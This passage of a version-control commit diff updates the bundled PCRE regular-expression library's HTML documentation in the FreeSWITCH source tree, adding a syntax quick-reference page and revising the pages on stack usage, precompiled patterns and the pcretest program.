+(there need not actually be a NUL at that location), regardless of the value of
+<i>nmatch</i>. This is a BSD extension, compatible with but not specified by
+IEEE Standard 1003.2 (POSIX.2), and should be used with caution in software
+intended to be portable to other systems. Note that a non-zero <i>rm_so</i> does
+not imply REG_NOTBOL; REG_STARTEND affects only the location of the string, not
+how it is matched.
 </P>
 <P>
 If the pattern was compiled with the REG_NOSUB flag, no data about any matched
@@ -231,14 +250,17 @@
 <P>
 Philip Hazel
 <br>
-University Computing Service,
+University Computing Service
 <br>
-Cambridge CB2 3QG, England.
+Cambridge CB2 3QH, England.
+<br>
 </P>
+<br><a name="SEC9" href="#TOC1">REVISION</a><br>
 <P>
-Last updated: 16 January 2006
+Last updated: 11 March 2009
 <br>
-Copyright &copy; 1997-2006 University of Cambridge.
+Copyright &copy; 1997-2009 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcreprecompile.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcreprecompile.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcreprecompile.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -17,6 +17,8 @@
 <li><a name="TOC2" href="#SEC2">SAVING A COMPILED PATTERN</a>
 <li><a name="TOC3" href="#SEC3">RE-USING A PRECOMPILED PATTERN</a>
 <li><a name="TOC4" href="#SEC4">COMPATIBILITY WITH DIFFERENT PCRE RELEASES</a>
+<li><a name="TOC5" href="#SEC5">AUTHOR</a>
+<li><a name="TOC6" href="#SEC6">REVISION</a>
 </ul>
 <br><a name="SEC1" href="#TOC1">SAVING AND RE-USING PRECOMPILED PCRE PATTERNS</a><br>
 <P>
@@ -32,7 +34,9 @@
 If you save compiled patterns to a file, you can copy them to a different host
 and run them there. This works even if the new host has the opposite endianness
 to the one on which the patterns were compiled. There may be a small
-performance penalty, but it should be insignificant.
+performance penalty, but it should be insignificant. However, compiling regular
+expressions with one version of PCRE for use with a different version is not
+guaranteed to work and may cause crashes.
 </P>
 <br><a name="SEC2" href="#TOC1">SAVING A COMPILED PATTERN</a><br>
 <P>
@@ -120,21 +124,25 @@
 </P>
 <br><a name="SEC4" href="#TOC1">COMPATIBILITY WITH DIFFERENT PCRE RELEASES</a><br>
 <P>
-The layout of the control block that is at the start of the data that makes up
-a compiled pattern was changed for release 5.0. If you have any saved patterns
-that were compiled with previous releases (not a facility that was previously
-advertised), you will have to recompile them for release 5.0. However, from now
-on, it should be possible to make changes in a compatible manner.
+In general, it is safest to recompile all saved patterns when you update to a
+new PCRE release, though not all updates actually require this. Recompiling is
+definitely needed for release 7.2.
 </P>
+<br><a name="SEC5" href="#TOC1">AUTHOR</a><br>
 <P>
-Notwithstanding the above, if you have any saved patterns in UTF-8 mode that
-use \p or \P that were compiled with any release up to and including 6.4, you
-will have to recompile them for release 6.5 and above.
+Philip Hazel
+<br>
+University Computing Service
+<br>
+Cambridge CB2 3QH, England.
+<br>
 </P>
+<br><a name="SEC6" href="#TOC1">REVISION</a><br>
 <P>
-Last updated: 01 February 2006
+Last updated: 13 June 2007
 <br>
-Copyright &copy; 1997-2006 University of Cambridge.
+Copyright &copy; 1997-2007 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcresample.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcresample.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcresample.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -72,10 +72,25 @@
 </pre>
 (for example) to the compile command to get round this problem.
 </P>
+<br><b>
+AUTHOR
+</b><br>
 <P>
-Last updated: 09 September 2004
+Philip Hazel
 <br>
-Copyright &copy; 1997-2004 University of Cambridge.
+University Computing Service
+<br>
+Cambridge CB2 3QH, England.
+<br>
+</P>
+<br><b>
+REVISION
+</b><br>
+<P>
+Last updated: 23 January 2008
+<br>
+Copyright &copy; 1997-2008 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcrestack.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcrestack.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcrestack.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -63,7 +63,7 @@
 required. Consider now this rewritten pattern, which matches exactly the same
 strings:
 <pre>
-  ([^&#60;]++|&#60;(?!inet))
+  ([^&#60;]++|&#60;(?!inet))+
 </pre>
 This uses very much less stack, because runs of characters that do not contain
 "&#60;" are "swallowed" in one item inside the parentheses. Recursion happens only
@@ -73,23 +73,62 @@
 stack usage.
 </P>
 <P>
+This example shows that one way of avoiding stack problems when matching long
+subject strings is to write repeated parenthesized subpatterns to match more
+than one character whenever possible.
+</P>
+<br><b>
+Compiling PCRE to use heap instead of stack
+</b><br>
+<P>
 In environments where stack memory is constrained, you might want to compile
 PCRE to use heap memory instead of stack for remembering back-up points. This
 makes it run a lot more slowly, however. Details of how to do this are given in
 the
 <a href="pcrebuild.html"><b>pcrebuild</b></a>
+documentation. When built in this way, instead of using the stack, PCRE obtains
+and frees memory by calling the functions that are pointed to by the
+<b>pcre_stack_malloc</b> and <b>pcre_stack_free</b> variables. By default, these
+point to <b>malloc()</b> and <b>free()</b>, but you can replace the pointers to
+cause PCRE to use your own functions. Since the block sizes are always the
+same, and are always freed in reverse order, it may be possible to implement
+customized memory handlers that are more efficient than the standard functions.
+</P>
+<br><b>
+Limiting PCRE's stack usage
+</b><br>
+<P>
+PCRE has an internal counter that can be used to limit the depth of recursion,
+and thus cause <b>pcre_exec()</b> to give an error code before it runs out of
+stack. By default, the limit is very large, and unlikely ever to operate. It
+can be changed when PCRE is built, and it can also be set when
+<b>pcre_exec()</b> is called. For details of these interfaces, see the
+<a href="pcrebuild.html"><b>pcrebuild</b></a>
+and
+<a href="pcreapi.html"><b>pcreapi</b></a>
 documentation.
 </P>
 <P>
-In Unix-like environments, there is not often a problem with the stack, though
-the default limit on stack size varies from system to system. Values from 8Mb
-to 64Mb are common. You can find your default limit by running the command:
+As a very rough rule of thumb, you should reckon on about 500 bytes per
+recursion. Thus, if you want to limit your stack usage to 8Mb, you
+should set the limit at 16000 recursions. A 64Mb stack, on the other hand, can
+support around 128000 recursions. The <b>pcretest</b> test program has a command
+line option (<b>-S</b>) that can be used to increase the size of its stack.
+</P>
+<br><b>
+Changing stack size in Unix-like systems
+</b><br>
+<P>
+In Unix-like environments, there is not often a problem with the stack unless
+very long strings are involved, though the default limit on stack size varies
+from system to system. Values from 8Mb to 64Mb are common. You can find your
+default limit by running the command:
 <pre>
   ulimit -s
 </pre>
-The effect of running out of stack is often SIGSEGV, though sometimes an error
-message is given. You can normally increase the limit on stack size by code
-such as this:
+Unfortunately, the effect of running out of stack is often SIGSEGV, though
+sometimes a more explicit error message is given. You can normally increase the
+limit on stack size by code such as this:
 <pre>
   struct rlimit rlim;
   getrlimit(RLIMIT_STACK, &rlim);
@@ -100,28 +139,34 @@
 attempts to increase the soft limit to 100Mb using <b>setrlimit()</b>. You must
 do this before calling <b>pcre_exec()</b>.
 </P>
+<br><b>
+Changing stack size in Mac OS X
+</b><br>
 <P>
-PCRE has an internal counter that can be used to limit the depth of recursion,
-and thus cause <b>pcre_exec()</b> to give an error code before it runs out of
-stack. By default, the limit is very large, and unlikely ever to operate. It
-can be changed when PCRE is built, and it can also be set when
-<b>pcre_exec()</b> is called. For details of these interfaces, see the
-<a href="pcrebuild.html"><b>pcrebuild</b></a>
-and
-<a href="pcreapi.html"><b>pcreapi</b></a>
-documentation.
+Using <b>setrlimit()</b>, as described above, should also work on Mac OS X. It
+is also possible to set a stack size when linking a program. There is a
+discussion about stack sizes in Mac OS X at this web site:
+<a href="http://developer.apple.com/qa/qa2005/qa1419.html">http://developer.apple.com/qa/qa2005/qa1419.html.</a>
 </P>
+<br><b>
+AUTHOR
+</b><br>
 <P>
-As a very rough rule of thumb, you should reckon on about 500 bytes per
-recursion. Thus, if you want to limit your stack usage to 8Mb, you
-should set the limit at 16000 recursions. A 64Mb stack, on the other hand, can
-support around 128000 recursions. The <b>pcretest</b> test program has a command
-line option (<b>-S</b>) that can be used to increase its stack.
+Philip Hazel
+<br>
+University Computing Service
+<br>
+Cambridge CB2 3QH, England.
+<br>
 </P>
+<br><b>
+REVISION
+</b><br>
 <P>
-Last updated: 29 June 2006
+Last updated: 09 July 2008
 <br>
-Copyright &copy; 1997-2006 University of Cambridge.
+Copyright &copy; 1997-2008 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Copied: freeswitch/branches/seven/libs/pcre/doc/html/pcresyntax.html (from rev 14471, freeswitch/trunk/libs/pcre/doc/html/pcresyntax.html) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcresyntax.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcresyntax.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,473 @@
+<html>
+<head>
+<title>pcresyntax specification</title>
+</head>
+<body bgcolor="#FFFFFF" text="#00005A" link="#0066FF" alink="#3399FF" vlink="#2222BB">
+<h1>pcresyntax man page</h1>
+<p>
+Return to the <a href="index.html">PCRE index page</a>.
+</p>
+<p>
+This page is part of the PCRE HTML documentation. It was generated automatically
+from the original man page. If there is any nonsense in it, please consult the
+man page, in case the conversion went wrong.
+<br>
+<ul>
+<li><a name="TOC1" href="#SEC1">PCRE REGULAR EXPRESSION SYNTAX SUMMARY</a>
+<li><a name="TOC2" href="#SEC2">QUOTING</a>
+<li><a name="TOC3" href="#SEC3">CHARACTERS</a>
+<li><a name="TOC4" href="#SEC4">CHARACTER TYPES</a>
+<li><a name="TOC5" href="#SEC5">GENERAL CATEGORY PROPERTY CODES FOR \p and \P</a>
+<li><a name="TOC6" href="#SEC6">SCRIPT NAMES FOR \p AND \P</a>
+<li><a name="TOC7" href="#SEC7">CHARACTER CLASSES</a>
+<li><a name="TOC8" href="#SEC8">QUANTIFIERS</a>
+<li><a name="TOC9" href="#SEC9">ANCHORS AND SIMPLE ASSERTIONS</a>
+<li><a name="TOC10" href="#SEC10">MATCH POINT RESET</a>
+<li><a name="TOC11" href="#SEC11">ALTERNATION</a>
+<li><a name="TOC12" href="#SEC12">CAPTURING</a>
+<li><a name="TOC13" href="#SEC13">ATOMIC GROUPS</a>
+<li><a name="TOC14" href="#SEC14">COMMENT</a>
+<li><a name="TOC15" href="#SEC15">OPTION SETTING</a>
+<li><a name="TOC16" href="#SEC16">LOOKAHEAD AND LOOKBEHIND ASSERTIONS</a>
+<li><a name="TOC17" href="#SEC17">BACKREFERENCES</a>
+<li><a name="TOC18" href="#SEC18">SUBROUTINE REFERENCES (POSSIBLY RECURSIVE)</a>
+<li><a name="TOC19" href="#SEC19">CONDITIONAL PATTERNS</a>
+<li><a name="TOC20" href="#SEC20">BACKTRACKING CONTROL</a>
+<li><a name="TOC21" href="#SEC21">NEWLINE CONVENTIONS</a>
+<li><a name="TOC22" href="#SEC22">WHAT \R MATCHES</a>
+<li><a name="TOC23" href="#SEC23">CALLOUTS</a>
+<li><a name="TOC24" href="#SEC24">SEE ALSO</a>
+<li><a name="TOC25" href="#SEC25">AUTHOR</a>
+<li><a name="TOC26" href="#SEC26">REVISION</a>
+</ul>
+<br><a name="SEC1" href="#TOC1">PCRE REGULAR EXPRESSION SYNTAX SUMMARY</a><br>
+<P>
+The full syntax and semantics of the regular expressions that are supported by
+PCRE are described in the
+<a href="pcrepattern.html"><b>pcrepattern</b></a>
+documentation. This document contains just a quick-reference summary of the
+syntax.
+</P>
+<br><a name="SEC2" href="#TOC1">QUOTING</a><br>
+<P>
+<pre>
+  \x         where x is non-alphanumeric is a literal x
+  \Q...\E    treat enclosed characters as literal
+</PRE>
+</P>
+<br><a name="SEC3" href="#TOC1">CHARACTERS</a><br>
+<P>
+<pre>
+  \a         alarm, that is, the BEL character (hex 07)
+  \cx        "control-x", where x is any character
+  \e         escape (hex 1B)
+  \f         formfeed (hex 0C)
+  \n         newline (hex 0A)
+  \r         carriage return (hex 0D)
+  \t         tab (hex 09)
+  \ddd       character with octal code ddd, or backreference
+  \xhh       character with hex code hh
+  \x{hhh..}  character with hex code hhh..
+</PRE>
+</P>
+<br><a name="SEC4" href="#TOC1">CHARACTER TYPES</a><br>
+<P>
+<pre>
+  .          any character except newline;
+               in dotall mode, any character whatsoever
+  \C         one byte, even in UTF-8 mode (best avoided)
+  \d         a decimal digit
+  \D         a character that is not a decimal digit
+  \h         a horizontal whitespace character
+  \H         a character that is not a horizontal whitespace character
+  \p{<i>xx</i>}     a character with the <i>xx</i> property
+  \P{<i>xx</i>}     a character without the <i>xx</i> property
+  \R         a newline sequence
+  \s         a whitespace character
+  \S         a character that is not a whitespace character
+  \v         a vertical whitespace character
+  \V         a character that is not a vertical whitespace character
+  \w         a "word" character
+  \W         a "non-word" character
+  \X         an extended Unicode sequence
+</pre>
+In PCRE, \d, \D, \s, \S, \w, and \W recognize only ASCII characters.
+</P>
+<br><a name="SEC5" href="#TOC1">GENERAL CATEGORY PROPERTY CODES FOR \p and \P</a><br>
+<P>
+<pre>
+  C          Other
+  Cc         Control
+  Cf         Format
+  Cn         Unassigned
+  Co         Private use
+  Cs         Surrogate
+
+  L          Letter
+  Ll         Lower case letter
+  Lm         Modifier letter
+  Lo         Other letter
+  Lt         Title case letter
+  Lu         Upper case letter
+  L&         Ll, Lu, or Lt
+
+  M          Mark
+  Mc         Spacing mark
+  Me         Enclosing mark
+  Mn         Non-spacing mark
+
+  N          Number
+  Nd         Decimal number
+  Nl         Letter number
+  No         Other number
+
+  P          Punctuation
+  Pc         Connector punctuation
+  Pd         Dash punctuation
+  Pe         Close punctuation
+  Pf         Final punctuation
+  Pi         Initial punctuation
+  Po         Other punctuation
+  Ps         Open punctuation
+
+  S          Symbol
+  Sc         Currency symbol
+  Sk         Modifier symbol
+  Sm         Mathematical symbol
+  So         Other symbol
+
+  Z          Separator
+  Zl         Line separator
+  Zp         Paragraph separator
+  Zs         Space separator
+</PRE>
+</P>
+<br><a name="SEC6" href="#TOC1">SCRIPT NAMES FOR \p AND \P</a><br>
+<P>
+Arabic,
+Armenian,
+Balinese,
+Bengali,
+Bopomofo,
+Braille,
+Buginese,
+Buhid,
+Canadian_Aboriginal,
+Carian,
+Cham,
+Cherokee,
+Common,
+Coptic,
+Cuneiform,
+Cypriot,
+Cyrillic,
+Deseret,
+Devanagari,
+Ethiopic,
+Georgian,
+Glagolitic,
+Gothic,
+Greek,
+Gujarati,
+Gurmukhi,
+Han,
+Hangul,
+Hanunoo,
+Hebrew,
+Hiragana,
+Inherited,
+Kannada,
+Katakana,
+Kayah_Li,
+Kharoshthi,
+Khmer,
+Lao,
+Latin,
+Lepcha,
+Limbu,
+Linear_B,
+Lycian,
+Lydian,
+Malayalam,
+Mongolian,
+Myanmar,
+New_Tai_Lue,
+Nko,
+Ogham,
+Old_Italic,
+Old_Persian,
+Ol_Chiki,
+Oriya,
+Osmanya,
+Phags_Pa,
+Phoenician,
+Rejang,
+Runic,
+Saurashtra,
+Shavian,
+Sinhala,
+Sudanese,
+Syloti_Nagri,
+Syriac,
+Tagalog,
+Tagbanwa,
+Tai_Le,
+Tamil,
+Telugu,
+Thaana,
+Thai,
+Tibetan,
+Tifinagh,
+Ugaritic,
+Vai,
+Yi.
+</P>
+<br><a name="SEC7" href="#TOC1">CHARACTER CLASSES</a><br>
+<P>
+<pre>
+  [...]       positive character class
+  [^...]      negative character class
+  [x-y]       range (can be used for hex characters)
+  [[:xxx:]]   positive POSIX named set
+  [[:^xxx:]]  negative POSIX named set
+
+  alnum       alphanumeric
+  alpha       alphabetic
+  ascii       0-127
+  blank       space or tab
+  cntrl       control character
+  digit       decimal digit
+  graph       printing, excluding space
+  lower       lower case letter
+  print       printing, including space
+  punct       printing, excluding alphanumeric
+  space       whitespace
+  upper       upper case letter
+  word        same as \w
+  xdigit      hexadecimal digit
+</pre>
+In PCRE, POSIX character set names recognize only ASCII characters. You can use
+\Q...\E inside a character class.
+</P>
+<br><a name="SEC8" href="#TOC1">QUANTIFIERS</a><br>
+<P>
+<pre>
+  ?           0 or 1, greedy
+  ?+          0 or 1, possessive
+  ??          0 or 1, lazy
+  *           0 or more, greedy
+  *+          0 or more, possessive
+  *?          0 or more, lazy
+  +           1 or more, greedy
+  ++          1 or more, possessive
+  +?          1 or more, lazy
+  {n}         exactly n
+  {n,m}       at least n, no more than m, greedy
+  {n,m}+      at least n, no more than m, possessive
+  {n,m}?      at least n, no more than m, lazy
+  {n,}        n or more, greedy
+  {n,}+       n or more, possessive
+  {n,}?       n or more, lazy
+</PRE>
+</P>
+<br><a name="SEC9" href="#TOC1">ANCHORS AND SIMPLE ASSERTIONS</a><br>
+<P>
+<pre>
+  \b          word boundary (only ASCII letters recognized)
+  \B          not a word boundary
+  ^           start of subject
+               also after internal newline in multiline mode
+  \A          start of subject
+  $           end of subject
+               also before newline at end of subject
+               also before internal newline in multiline mode
+  \Z          end of subject
+               also before newline at end of subject
+  \z          end of subject
+  \G          first matching position in subject
+</PRE>
+</P>
+<br><a name="SEC10" href="#TOC1">MATCH POINT RESET</a><br>
+<P>
+<pre>
+  \K          reset start of match
+</PRE>
+</P>
+<br><a name="SEC11" href="#TOC1">ALTERNATION</a><br>
+<P>
+<pre>
+  expr|expr|expr...
+</PRE>
+</P>
+<br><a name="SEC12" href="#TOC1">CAPTURING</a><br>
+<P>
+<pre>
+  (...)           capturing group
+  (?&#60;name&#62;...)    named capturing group (Perl)
+  (?'name'...)    named capturing group (Perl)
+  (?P&#60;name&#62;...)   named capturing group (Python)
+  (?:...)         non-capturing group
+  (?|...)         non-capturing group; reset group numbers for
+                   capturing groups in each alternative
+</PRE>
+</P>
+<br><a name="SEC13" href="#TOC1">ATOMIC GROUPS</a><br>
+<P>
+<pre>
+  (?&#62;...)         atomic, non-capturing group
+</PRE>
+</P>
+<br><a name="SEC14" href="#TOC1">COMMENT</a><br>
+<P>
+<pre>
+  (?#....)        comment (not nestable)
+</PRE>
+</P>
+<br><a name="SEC15" href="#TOC1">OPTION SETTING</a><br>
+<P>
+<pre>
+  (?i)            caseless
+  (?J)            allow duplicate names
+  (?m)            multiline
+  (?s)            single line (dotall)
+  (?U)            default ungreedy (lazy)
+  (?x)            extended (ignore white space)
+  (?-...)         unset option(s)
+</pre>
+The following is recognized only at the start of a pattern or after one of the
+newline-setting options with similar syntax:
+<pre>
+  (*UTF8)         set UTF-8 mode
+</PRE>
+</P>
+<br><a name="SEC16" href="#TOC1">LOOKAHEAD AND LOOKBEHIND ASSERTIONS</a><br>
+<P>
+<pre>
+  (?=...)         positive look ahead
+  (?!...)         negative look ahead
+  (?&#60;=...)        positive look behind
+  (?&#60;!...)        negative look behind
+</pre>
+Each top-level branch of a look behind must be of a fixed length.
+</P>
+<br><a name="SEC17" href="#TOC1">BACKREFERENCES</a><br>
+<P>
+<pre>
+  \n              reference by number (can be ambiguous)
+  \gn             reference by number
+  \g{n}           reference by number
+  \g{-n}          relative reference by number
+  \k&#60;name&#62;        reference by name (Perl)
+  \k'name'        reference by name (Perl)
+  \g{name}        reference by name (Perl)
+  \k{name}        reference by name (.NET)
+  (?P=name)       reference by name (Python)
+</PRE>
+</P>
+<br><a name="SEC18" href="#TOC1">SUBROUTINE REFERENCES (POSSIBLY RECURSIVE)</a><br>
+<P>
+<pre>
+  (?R)            recurse whole pattern
+  (?n)            call subpattern by absolute number
+  (?+n)           call subpattern by relative number
+  (?-n)           call subpattern by relative number
+  (?&name)        call subpattern by name (Perl)
+  (?P&#62;name)       call subpattern by name (Python)
+  \g&#60;name&#62;        call subpattern by name (Oniguruma)
+  \g'name'        call subpattern by name (Oniguruma)
+  \g&#60;n&#62;           call subpattern by absolute number (Oniguruma)
+  \g'n'           call subpattern by absolute number (Oniguruma)
+  \g&#60;+n&#62;          call subpattern by relative number (PCRE extension)
+  \g'+n'          call subpattern by relative number (PCRE extension)
+  \g&#60;-n&#62;          call subpattern by relative number (PCRE extension)
+  \g'-n'          call subpattern by relative number (PCRE extension)
+</PRE>
+</P>
+<br><a name="SEC19" href="#TOC1">CONDITIONAL PATTERNS</a><br>
+<P>
+<pre>
+  (?(condition)yes-pattern)
+  (?(condition)yes-pattern|no-pattern)
+
+  (?(n)...        absolute reference condition
+  (?(+n)...       relative reference condition
+  (?(-n)...       relative reference condition
+  (?(&#60;name&#62;)...   named reference condition (Perl)
+  (?('name')...   named reference condition (Perl)
+  (?(name)...     named reference condition (PCRE)
+  (?(R)...        overall recursion condition
+  (?(Rn)...       specific group recursion condition
+  (?(R&name)...   specific recursion condition
+  (?(DEFINE)...   define subpattern for reference
+  (?(assert)...   assertion condition
+</PRE>
+</P>
+<br><a name="SEC20" href="#TOC1">BACKTRACKING CONTROL</a><br>
+<P>
+The following act immediately they are reached:
+<pre>
+  (*ACCEPT)       force successful match
+  (*FAIL)         force backtrack; synonym (*F)
+</pre>
+The following act only when a subsequent match failure causes a backtrack to
+reach them. They all force a match failure, but they differ in what happens
+afterwards. Those that advance the start-of-match point do so only if the
+pattern is not anchored.
+<pre>
+  (*COMMIT)       overall failure, no advance of starting point
+  (*PRUNE)        advance to next starting character
+  (*SKIP)         advance start to current matching position
+  (*THEN)         local failure, backtrack to next alternation
+</PRE>
+</P>
+<br><a name="SEC21" href="#TOC1">NEWLINE CONVENTIONS</a><br>
+<P>
+These are recognized only at the very start of the pattern or after a
+(*BSR_...) or (*UTF8) option.
+<pre>
+  (*CR)           carriage return only
+  (*LF)           linefeed only
+  (*CRLF)         carriage return followed by linefeed
+  (*ANYCRLF)      all three of the above
+  (*ANY)          any Unicode newline sequence
+</PRE>
+</P>
+<br><a name="SEC22" href="#TOC1">WHAT \R MATCHES</a><br>
+<P>
+These are recognized only at the very start of the pattern or after a
+(*...) option that sets the newline convention or UTF-8 mode.
+<pre>
+  (*BSR_ANYCRLF)  CR, LF, or CRLF
+  (*BSR_UNICODE)  any Unicode newline sequence
+</PRE>
+</P>
+<br><a name="SEC23" href="#TOC1">CALLOUTS</a><br>
+<P>
+<pre>
+  (?C)      callout
+  (?Cn)     callout with data n
+</PRE>
+</P>
+<br><a name="SEC24" href="#TOC1">SEE ALSO</a><br>
+<P>
+<b>pcrepattern</b>(3), <b>pcreapi</b>(3), <b>pcrecallout</b>(3),
+<b>pcrematching</b>(3), <b>pcre</b>(3).
+</P>
+<br><a name="SEC25" href="#TOC1">AUTHOR</a><br>
+<P>
+Philip Hazel
+<br>
+University Computing Service
+<br>
+Cambridge CB2 3QH, England.
+<br>
+</P>
+<br><a name="SEC26" href="#TOC1">REVISION</a><br>
+<P>
+Last updated: 11 April 2009
+<br>
+Copyright &copy; 1997-2009 University of Cambridge.
+<br>
+<p>
+Return to the <a href="index.html">PCRE index page</a>.
+</p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcretest.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcretest.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcretest.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,8 +23,11 @@
 <li><a name="TOC8" href="#SEC8">OUTPUT FROM THE ALTERNATIVE MATCHING FUNCTION</a>
 <li><a name="TOC9" href="#SEC9">RESTARTING AFTER A PARTIAL MATCH</a>
 <li><a name="TOC10" href="#SEC10">CALLOUTS</a>
-<li><a name="TOC11" href="#SEC11">SAVING AND RELOADING COMPILED PATTERNS</a>
-<li><a name="TOC12" href="#SEC12">AUTHOR</a>
+<li><a name="TOC11" href="#SEC11">NON-PRINTING CHARACTERS</a>
+<li><a name="TOC12" href="#SEC12">SAVING AND RELOADING COMPILED PATTERNS</a>
+<li><a name="TOC13" href="#SEC13">SEE ALSO</a>
+<li><a name="TOC14" href="#SEC14">AUTHOR</a>
+<li><a name="TOC15" href="#SEC15">REVISION</a>
 </ul>
 <br><a name="SEC1" href="#TOC1">SYNOPSIS</a><br>
 <P>
@@ -43,6 +46,11 @@
 </P>
 <br><a name="SEC2" href="#TOC1">OPTIONS</a><br>
 <P>
+<b>-b</b>
+Behave as if each regex has the <b>/B</b> (show bytecode) modifier; the internal
+form is output after compilation.
+</P>
+<P>
 <b>-C</b>
 Output the version number of the PCRE library, and all available information
 about the optional features that are included, and then exit.
@@ -50,7 +58,8 @@
 <P>
 <b>-d</b>
 Behave as if each regex has the <b>/D</b> (debug) modifier; the internal
-form is output after compilation.
+form and information about the compiled pattern is output after compilation;
+<b>-d</b> is equivalent to <b>-b -i</b>.
 </P>
 <P>
 <b>-dfa</b>
@@ -59,11 +68,21 @@
 standard <b>pcre_exec()</b> function (more detail is given below).
 </P>
 <P>
+<b>-help</b>
+Output a brief summary these options and then exit.
+</P>
+<P>
 <b>-i</b>
 Behave as if each regex has the <b>/I</b> modifier; information about the
 compiled pattern is given after compilation.
 </P>
 <P>
+<b>-M</b>
+Behave as if each data line contains the \M escape sequence; this causes
+PCRE to discover the minimum MATCH_LIMIT and MATCH_LIMIT_RECURSION settings by
+calling <b>pcre_exec()</b> repeatedly with different limits.
+</P>
+<P>
 <b>-m</b>
 Output the size of each compiled pattern after it has been compiled. This is
 equivalent to adding <b>/M</b> to each regular expression. For compatibility
@@ -72,9 +91,11 @@
 <P>
 <b>-o</b> <i>osize</i>
 Set the number of elements in the output vector that is used when calling
-<b>pcre_exec()</b> to be <i>osize</i>. The default value is 45, which is enough
-for 14 capturing subexpressions. The vector size can be changed for individual
-matching calls by including \O in the data line (see below).
+<b>pcre_exec()</b> or <b>pcre_dfa_exec()</b> to be <i>osize</i>. The default value
+is 45, which is enough for 14 capturing subexpressions for <b>pcre_exec()</b> or
+22 different matches for <b>pcre_dfa_exec()</b>. The vector size can be
+changed for individual matching calls by including \O in the data line (see
+below).
 </P>
 <P>
 <b>-p</b>
@@ -96,8 +117,16 @@
 Run each compile, study, and match many times with a timer, and output
 resulting time per compile or match (in milliseconds). Do not set <b>-m</b> with
 <b>-t</b>, because you will then get the size output a zillion times, and the
-timing will be distorted.
+timing will be distorted. You can control the number of iterations that are
+used for timing by following <b>-t</b> with a number (as a separate item on the
+command line). For example, "-t 1000" would iterate 1000 times. The default is
+to iterate 500000 times.
 </P>
+<P>
+<b>-tm</b>
+This is like <b>-t</b> except that it times only the matching phase, not the
+compile or study phases.
+</P>
 <br><a name="SEC3" href="#TOC1">DESCRIPTION</a><br>
 <P>
 If <b>pcretest</b> is given two filename arguments, it reads from the first and
@@ -107,6 +136,13 @@
 expressions, and "data&#62;" to prompt for data lines.
 </P>
 <P>
+When <b>pcretest</b> is built, a configuration option can specify that it should
+be linked with the <b>libreadline</b> library. When this is done, if the input
+is from a terminal, it is read using the <b>readline()</b> function. This
+provides line-editing and history facilities. The output from the <b>-help</b>
+option states whether or not <b>readline()</b> will be used.
+</P>
+<P>
 The program handles any number of sets of input on a single input file. Each
 set starts with a regular expression, and continues with any number of data
 lines to be matched against the pattern.
@@ -114,8 +150,8 @@
 <P>
 Each data line is matched separately and independently. If you want to do
 multi-line matches, you have to use the \n escape sequence (or \r or \r\n,
-depending on the newline setting) in a single line of input to encode the
-newline characters. There is no limit on the length of data lines; the input
+etc., depending on the newline setting) in a single line of input to encode the
+newline sequences. There is no limit on the length of data lines; the input
 buffer is automatically extended if it is too small.
 </P>
 <P>
@@ -168,20 +204,30 @@
 The following table shows additional modifiers for setting PCRE options that do
 not correspond to anything in Perl:
 <pre>
-  <b>/A</b>       PCRE_ANCHORED
-  <b>/C</b>       PCRE_AUTO_CALLOUT
-  <b>/E</b>       PCRE_DOLLAR_ENDONLY
-  <b>/f</b>       PCRE_FIRSTLINE
-  <b>/J</b>       PCRE_DUPNAMES
-  <b>/N</b>       PCRE_NO_AUTO_CAPTURE
-  <b>/U</b>       PCRE_UNGREEDY
-  <b>/X</b>       PCRE_EXTRA
-  <b>/&#60;cr&#62;</b>    PCRE_NEWLINE_CR
-  <b>/&#60;lf&#62;</b>    PCRE_NEWLINE_LF
-  <b>/&#60;crlf&#62;</b>  PCRE_NEWLINE_CRLF
+  <b>/A</b>              PCRE_ANCHORED
+  <b>/C</b>              PCRE_AUTO_CALLOUT
+  <b>/E</b>              PCRE_DOLLAR_ENDONLY
+  <b>/f</b>              PCRE_FIRSTLINE
+  <b>/J</b>              PCRE_DUPNAMES
+  <b>/N</b>              PCRE_NO_AUTO_CAPTURE
+  <b>/U</b>              PCRE_UNGREEDY
+  <b>/X</b>              PCRE_EXTRA
+  <b>/&#60;JS&#62;</b>           PCRE_JAVASCRIPT_COMPAT
+  <b>/&#60;cr&#62;</b>           PCRE_NEWLINE_CR
+  <b>/&#60;lf&#62;</b>           PCRE_NEWLINE_LF
+  <b>/&#60;crlf&#62;</b>         PCRE_NEWLINE_CRLF
+  <b>/&#60;anycrlf&#62;</b>      PCRE_NEWLINE_ANYCRLF
+  <b>/&#60;any&#62;</b>          PCRE_NEWLINE_ANY
+  <b>/&#60;bsr_anycrlf&#62;</b>  PCRE_BSR_ANYCRLF
+  <b>/&#60;bsr_unicode&#62;</b>  PCRE_BSR_UNICODE
 </pre>
-Those specifying line endings are literal strings as shown. Details of the
-meanings of these PCRE options are given in the
+Those specifying line ending sequences are literal strings as shown, but the
+letters can be in either case. This example sets multiline matching with CRLF
+as the line ending sequence:
+<pre>
